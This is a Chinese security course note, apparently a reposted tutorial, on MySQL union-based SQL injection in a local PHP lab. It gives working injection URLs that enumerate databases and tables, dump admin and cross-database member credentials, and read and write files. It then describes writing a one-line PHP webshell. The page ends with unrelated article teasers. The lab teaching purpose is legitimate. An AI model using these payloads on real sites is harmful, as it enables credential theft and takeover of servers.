第42天:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作

第四十二天

image-20240508222939488

一、PHP-MYSQL-SQL注入-常规查询

1.PHP-MYSQL-Web组成架构

MySQL(统一管理)

​ root(自带默认)

​ 网站A testA

​ 网站B testB

MySQL(一对一管理)

​ testA用户

​ 网站A testA

​ testB用户

​ 网站B testB

access无数据库用户

mysql里面有内置的管理用户,其中root就是默认数据库管理员用户

网站上面的数据库都在mysql中,由root或一对一用户去管理

服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理

可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

1.统一交root用户管理
  • 每个网站的数据库都由root用户统一管理
  • 网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库root用户 root
  • 网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库root用户 root
2.一对一用户管理(推荐)
  • 自己的网站单独创建数据库用户去管理自己的数据库

  • 网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库zblog用户 zblog

  • 网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库demo用户 demo01

3.SQL注入

**原因:**就是对接收的参数值没有进行过滤,直接查询到了数据库

**攻击手法:**利用SQL语句执行查询你想要的东西(SQL语句能做什么你就能做什么)

**作用:**SQL语句由谁决定 => 数据库类型决定(为什么有MySQL注入、oracle注入叫法的原因)

**不同数据库的原因:**熟悉不同数据库的功能和SQL注入产生的影响

4.SQL注入流程

MYSQL注入:(目的获取当前web权限)

  1. 判断常见四个信息(系统,用户,数据库名,版本)

  2. 根据四个信息去选择方案

  3. root用户:先测试读写,后测试获取数据

  4. 非root用户:直接测试获取数据

2.PHP-MYSQL-SQL常规查询

获取相关数据流程:

  1. 数据库版本-看是否符合information_schema查询-version(),版本大于5.0就可以查询到数据库下的数据库名及表名,列名信息的数据库

  2. 数据库用户-看是否符合ROOT型注入攻击-user()

  3. 当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os,Linux对大小写敏感

  4. 数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值

二、PHP-MYSQL-SQL注入-跨库查询

1.跨库查询架构

​ Zblog

​ zbp_member

​ mem_Name,mem_Password

​ 数据

2.跨库查询

  • 数据库统一管理(root用户)

  • 每个网站的数据库都由root用户统一管理

  • 网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库root用户 zblog

  • 网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库root用户 demo01

3.跨库注入

通过B网站的注入点获取A网站的账号密码

影响条件:当前数据库ROOT用户权限,只有root用户才能进行跨库查询

**注入流程:**同常规查询

三、PHP-MYSQL-SQL注入-文件读写

1.影响条件

  1. 当前数据库用户权限root
  2. secure-file-priv设置

测试不同数据库用户:root、demo

union select 1,load_file(‘d:\1.txt’),3,4,5,6

union select 1,‘xiaodi’,3,4,5,6 into outfile ‘d:\2.txt’

2.读写的路径的问题

  1. 报错显示获取路径

  2. phpinfo页面泄漏

如果不知道路径思路:

利用常见的默认的中间件,数据库等安装路径读取有价值信息

3.编码绕过

  • 如果限制了utf-8编码查询,可以改成16进制的

  • 解决:单引号过滤绕过方式

  • SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

四、环境复现

1.PHP-MYSQL-Web组成架构

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

2.PHP-MYSQL-SQL常规查询

根据MySQL数据库架构一步步进行查询

mysql

​ demo01

​ admin

​ username,password,id

​ 数据

1.对数据库列数进行爆破

Untitled

order by 6:这是一个排序语句代表按照第6列进行排序,如果输入的值不是6,都会报错,只有输入6才会回显正确

image-20240508201657720

2.爆出正确的列数之后进行联合查询寻找注入点
1.使用联合查询法看页面爆出的数字,这里爆出页面的4和5还有标签页的2,判断这里有注入点,如果没有爆出数字,那就在id=1这里改成id=-1让数据库进行报错,得到注入点

image-20240508202236196

2.根据之前将的注入思路,对爆出的注入点进行数据库版本查询、数据库名查询、操作系统类型查询

image-20240508203714114

3.知道了数据库名之后对数据库列名进行查询
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01'

查询tablename列的值,来源于information_schema.tables表,条件是列名要是固定是demo01的数据,不然数据太多无法判断,group_concat是用于显示全部信息的

Untitled

4.从字面上理解admin列是最重要的,所以固定admin为接下来查询的内容
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01' and table_name='admin'

查询数据库名demo01下的表名admin的列名信息(借助information_schema.columns存储查询)

Untitled

Untitled

5.之前所有的查询都是为了最后一步
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,username,password,6 from admin limit 0,1

这个UNION查询选择了6个列,并从admin表中返回第一行记录的用户名和密码,以此类推可以查询第二行第三行的数据内容

Untitled

3.PHP-MYSQL-SQL跨库查询

根据MySQL数据库架构一步步进行查询

Zblog

​ zbp_member

​ mem_Name,mem_Password

​ 数据

1.获取mysql下所有数据库名
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata

image-20240508211259734

2.知道了数据库名之后对数据库列名进行查询
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'

image-20240508211415000

3.爆出了很多列名,选取关键的zbp_member(像用户列表)进行查询
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'

image-20240508211626832

4.最后的查询注意是跨库查询,所以在zbp_menber表前加上zblog数据库名
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,mem_Name,Password,6 from zblog.zbp_menber

image-20240508211817000

4.PHP-MYSQL-SQL文件读写

1.先尝试读取文件内容

image-20240508220323312

2.读取数据库配置文件得到数据库的目录位置,因为服务器是Apache搭建的,有默认的存储位置,网上也能查询到很多默认路径,还有方法就是有些代码执行错误也会爆出路径,还有就是phpinfo文件里也有路径

image-20240508215428657

Untitled

3.因为文件读写是root权限,同时也可以进行写操作,在能读取的文件中写入一句话木马

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

4.将写好的payload进行输出,得到webshell权限

image-20240508220729322


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/9026.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

三勾软件 / 三勾点餐系统门店系统,java+springboot+vue3

项目介绍 三勾点餐系统基于javaspringbootelement-plusuniapp打造的面向开发的小程序商城,方便二次开发或直接使用,可发布到多端,包括微信小程序、微信公众号、QQ小程序、支付宝小程序、字节跳动小程序、百度小程序、android端、ios端。 在…

LVS 负载均衡部署 NAT模式

一、环境准备 配置环境: 负载调度器:配置双网卡 内网:172.168.1.11(ens33) 外网卡:12.0.0.1(ens37)二台WEB服务器集群池:172.168.1.12、172.168.1.13 一台NFS共享服务器:172.168.1.14客户端&#xff…

Android的NDK开发中Cmake报缺少对应的x86的so文件

需要实现一个串口操作的命令。 供应商提供了2个so文件。 分别是 armeabi-v7a 和 arm64-v8a 添加到对应的cpp下。 在CMakeLists.txt里添加so文件 # 添加预编译的库 add_library(libxxx SHARED IMPORTED)# 设置库的路径 set_target_properties(libxxx PROPERTIES IMPORTED_…

springboot和html学院教务管理系统

端口号根据你实际运行程序的端口号来 访问地址:localhost:8080 学生 : student1 123456 管理员:admin 123456 老师:2020001 123456 sys_user 表是账号和密码

隔离流量优化网络传输

不要将长流和短突发流(或者大象流和老鼠流)混部在一起,我建议用切片或虚通道将它们在全链路范围彻底隔离,而不仅仅在交换机上配合着大肆宣讲的高端包分类算法配置一些排队调度。 也不必扯泊松到达,帕累托分布,这些概念在论文建模…

Flutter笔记:Widgets Easier组件库(13)- 使用底部弹窗

Flutter笔记 Widgets Easier组件库(13)使用底部弹窗 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite:http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this …

使用HashMap实现,对一个字符集进行哈夫曼编码

最终达到的效果: 调用一个类 class HuffmanCodin{.....} 使用类中的静态方法&#xff0c;获取哈夫曼编码&#xff1a; 事前准备——哈夫曼树的节点定义 class Node implements Comparable<Node> {int weight;//权重Node left;Node right;char ch;//关键字&#xff0c…

管理学SCI期刊,中科院4区,审稿快易录用,性价比超高!

一、期刊名称 Central European Journal of Operations Research 二、期刊简介概况 期刊类型&#xff1a;SCI 学科领域&#xff1a;管理学 影响因子&#xff1a;1.7 中科院分区&#xff1a;4区 出版方式&#xff1a;订阅模式/开放出版 版面费&#xff1a;选择开放出版需…

人大金仓报The connection attempt failed.Reason:Connection reset解决办法

在连接人大京仓数据库 的时候报下面的错误 解决办法&#xff1a; 更换这里的IP地址就行&#xff0c;不要用127.0.0.1&#xff0c;然后就可以了

24.c++异常(异常的抛出和捕获、异常的重新抛出、抛出异常对象、抛出派生类对象、异常规范)

1.C语言传统的处理错误的方式 传统的错误处理机制&#xff1a; 终止程序&#xff0c;如assert&#xff0c;缺陷&#xff1a;用户难以接受。如发生内存错误&#xff0c;除0错误时就会终止程序。返回错误码&#xff0c;缺陷&#xff1a;需要程序员自己去查找对应的错误。如系统…

vscode的git插件使用教程

虽然git的命令我没有滚瓜烂熟&#xff0c;但vscode的git插件是尊嘟很好用啊&#xff0c;都被我用烂了。在网上看见一个讲的很不错的插件教程。借鉴一下。并在一些地方用块引用进行了补充说明&#xff01; 跳过了vscode安装过程。 克隆GitHub中的存储库&#xff1a; 1、复制Gi…

ai智能机器人电销的发展现状如何?

在移动互联网时代&#xff0c;人们对于营销的需求越来越高&#xff0c;而传统的营销方式已经无法满足人们的需求。下面我们来看看智能机器人电销的发展现状如何&#xff1f; 智能机器人电销作为一种全新的营销方式&#xff0c;正在迅速崛起。据市场机构统计&#xff0c;未来几…

C语言中的关键字static和extern

Hello,亲爱的小伙伴们&#xff0c;我又来了&#xff0c;上一期作者菌讲解了C语言中函数的知识点&#xff0c;得到了很好的反馈&#xff0c;这里作者菌感谢每一个至此我的小伙伴&#xff01;&#xff01;今天作者菌又来补充一些很有用的知识&#xff0c;感兴趣的uu们不要吝啬手中…

HTML学习|网页基本信息、网页基本标签、图像标签、超链接标签、列表标签、表格标签、媒体元素、页面结构分析、iframe内联框架

网页基本信息 DOCTYPE是设置使用什么规范&#xff0c;网页整个信息都在html标签中&#xff0c;head标签里包含字符集设置&#xff0c;网页介绍等信息&#xff0c;title标签是网页的名称&#xff0c;网页的主干都在body标签中 网页基本标签 标题标签 h1~h6都是标题标签&#x…

UE进阶篇四:多语言本地化

多语言 1、创建字符串表格&#xff1a;可以通过导入/导出CSV文件编辑或者编辑器直接编辑 2、工具 -> 本地化控制板 收集引擎中文本 3、添加新语言, 导出 .po文件&#xff0c;文本编辑也可直接编辑器编辑 4、使用方法 4.1 FText直接添加本地化 4.2 蓝图调用 4.3 C调用 5、…

鸿蒙开发-ArkTS语言-容器-非线性容器

鸿蒙开发-UI-web 鸿蒙开发-UI-web-页面 鸿蒙开发-ArkTS语言-基础类库 鸿蒙开发-ArkTS语言-并发 鸿蒙开发-ArkTS语言-并发-案例 鸿蒙开发-ArkTS语言-容器 文章目录 前言 一、非线性容器 1.HashMap 2.HashSet 3.TreeMap 4.TreeSet 5.LightWeightMap 6.LightWeightSet 7.P…

(一)Linux的vim编辑器的使用

一.vim编辑器 Vim 是从 vi 发展出来的一个文本编辑器。代码补全、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。简单的来说, vi 是老式的字处理器,不过功能已经很齐全了,但是还是有可以进步的地方。 vim 则可以说是程序开发者的一项很好用的工具。 二…

活动倒计时!四城再度联动,盘古信息与您相约上海|重庆|东莞|合肥

五月&#xff0c;是生命的复苏季&#xff0c;是希望的播种月。在这个充满活力的时节&#xff0c;盘古信息将在上海、重庆、东莞、合肥四地盛大举办四场精彩纷呈的活动。届时&#xff0c;我们将呈现一系列精心打造的工业软件产品及解决方案&#xff0c;带您领略制造业数字化转型…

深入入IAEA底层LinkedList

✅作者简介&#xff1a;大家好&#xff0c;我是再无B&#xff5e;U&#xff5e;G&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;再无B&#xff5e;U&#xff5e;G-CSDN博客 目标&#xff1a; 1.掌握LinkedList 2.…

ESG榜单冲击数据集(2000-2022年)

参照《财经研究》中刘柏&#xff08;2024&#xff09;的做法&#xff0c;以2015年为中点&#xff0c;根据商道荣绿2015年6月公开的ESG榜单数据&#xff0c;构建ESG榜单冲击的DID数据&#xff0c;如果公司属于ESG榜单冲击的公司&#xff0c;且年份≥2015&#xff0c;则为1&#…